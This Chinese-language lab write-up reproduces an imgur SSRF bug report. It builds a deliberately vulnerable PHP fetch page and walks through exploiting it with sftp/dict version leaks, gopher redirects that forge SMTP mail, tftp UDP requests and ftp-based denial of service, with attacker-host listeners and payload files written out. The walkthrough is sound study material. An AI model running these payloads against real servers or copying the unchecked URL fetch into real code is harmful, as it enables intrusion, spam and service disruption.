前幾天在hackerone上看到一個imgur的SSRF漏洞,url為:https://imgur.com/vidgif/url?url=xxx
,參數url沒有做限制,可以訪問內網地址。請求過程中使用到了liburl庫,并且liburl配置不當,可以讓攻擊者使用除http(s)之外的多個libcurl protocol wrappers,比如ftp://xxx.com/file
會讓服務器發起ftp請求。
漏洞提交者aesteral在報告中給出了幾種協議的利用方法,查了下drops之前SSRF文章,好像沒有專門介紹protocol wrappers,剛好看到了這個漏洞報告,就嘗試著搭建環境復現下,記錄下過程。
首先要搭建php + nginx環境,來模擬SSRF server端漏洞環境,這里選擇用docker來搭建,系統為Ubuntu14.04,docker安裝可以參考文檔,ubuntu的apt源建議換成國內的,安裝起來比較快。
安裝完后,拉取docker hub上安裝好php + nginx環境的image,倉庫在國外,速度可能略慢
docker pull richarvey/nginx-php-fpm
創建代碼目錄/app
啟動container(映射端口、掛載volume):
sudo docker run --name nginx -p 8084:80 -v /app:/usr/share/nginx/html -d richarvey/nginx-php-fpm
在/app目錄下創建ssrf.php,代碼中使用curl請求參數url對應的資源,返回給客戶端,用于模擬SSRF的功能
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11');
// 允許302跳轉
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
// 設置content-type
header('Content-Type: image/png');
curl_close($ch) ;
//返回響應
echo $res;
?>
我們測試加載圖片,訪問
http://victim:8084/ssrf.php?url=http://download.easyicon.net/png/1199986/96/
測試SSRF,在另一臺機器上執行nc -l -v 11111
,監聽11111端口
訪問 http://victim:8084/ssrf.php?url=http://attacker:11111/
報告里給出的可利用的協議有
我們來看一下Ubuntu14.04下默認的libcurl支持哪些協議
因為docker ubuntu image沒有curl,所以安裝 apt-get install -y curl
然后執行curl -V
[email protected]:/app# curl -V
curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP
可以看到
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
中,并沒有SSH(scp://, sftp://),所以默認是不支持的SSH協議的,需要自己下載源碼重現編譯安裝,可以參考這篇文章。
簡單的利用,信息泄露
利用SSH和DICT協議獲取軟件版本信息
sftp(需要curl編譯安裝libssh庫)訪問:http://victim:8084/ssrf.php?url=sftp://attacker:11111/
DICT訪問 http://victim:8084/ssrf.php?url=dict://attacker:11111/
可以看到服務使用的軟件版本,libssh2 1.4.3
和 libcurl 7.35.0
。查看下CVE
libssh2 1.4.3
可能受 CVE-2015-1782 影響
報告中imgur服務器中的軟件版本是libcurl 7.40.0
可能受 CVE-2015-3144 和 CVE-2015-3237影響,我們的版本為libcurl 7.35.0
,不受影響
利用GOPHER協議偽造發送郵件
先介紹下GOPHER協議,來自百度知道~
Gopher協議是一種互聯網沒有發展起來之前的一種從遠程服務器上獲取數據的協議。Gopher協議目前已經很少使用,它幾乎已經完全被HTTP協議取代了。
因為GOPHER協議支持newlines,所以可以用來發起類似TELNET chat-session的請求,比如SMTP,Redis server等。漏洞報告中提到imgur過濾了url參數中的newlines,但imgur server支持302跳轉,所以可以構造一個302跳轉的頁面,結合GOPHER協議來完成攻擊。
先測試一下GOPHER協議的效果,構造302跳轉頁面 gopher.php
<?php
header('Location: gopher://attacker:11111/_HI%0AMultiline%0Atest');
?>
訪問 http://victim:8084/ssrf.php?url=http://attacker/gopher.php
attacker端:
接下來是發送郵件,本來想用國內的郵箱試試的,然而都加了登陸驗證來防止垃圾郵件。
報告中給了一個 http://test.smtp.org/ 的網站,可以用來測試,這里修改了收件人,不然不會發送成功
smtp.php:
<?php
$commands = array(
'HELO test.org',
'MAIL FROM: <[email protected]>',
'RCPT TO: [email protected]',
'DATA',
'Test mail',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://smtp.163.com:25/_'.$payload);
?>
訪問http://victim:8084/ssrf.php?url=http://attacker:8084/smtp.php
可以到 http://test.smtp.org/log 下查看日志,我的VPS連接不了 http://test.smtp.org的25端口,換來一臺直接用TELNET模擬
[email protected]:~$ telnet test.smtp.org 25
Trying 52.2.168.164...
Connected to test.smtp.org.
Escape character is '^]'.
220 test.smtp.org ESMTP Sendmail 8.16.0.16 ready at Fri, 18 Mar 2016 06:47:04 GMT; see http://test.smtp.org/
HELO test.org
250 test.smtp.org Hello [xx.xx.xx.xx], pleased to meet you
MAIL FROM: <[email protected]>
250 2.1.0 <[email protected]>... Sender ok
RCPT TO: [email protected]
250 2.1.5 [email protected].. Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Test mail
.
250 2.0.0 u2I6l4QU017644 Message accepted for delivery
日志
使用TFTP協議來發送UDP包
服務端監聽UDP 11111端口 nc -v -u -l 11111
訪問http://Victim:8084/ssrf.php?url=tftp://Attacker:11111/TEST
可以用來向UDP服務發起請求,比如Memcache 和 REDIS-UDP
Denial of service
如果請求的超時時間較長,攻擊者可以iptables的 TARPIT 來block請求,此外CURL的 FTP:// 永遠不會超時
Attacker 監聽 nc -v -l 11111
訪問 http://Victim:8084/ssrf.php?url=ftp://Attacker:11111/TEST
攻擊者可以發起大量請求來耗盡服務器的資源
擼站遇到SSRF時,除了可以使用http(s)之外,還有其它的一些協議,這里進行了簡單的分析,希望對大家有一些幫助~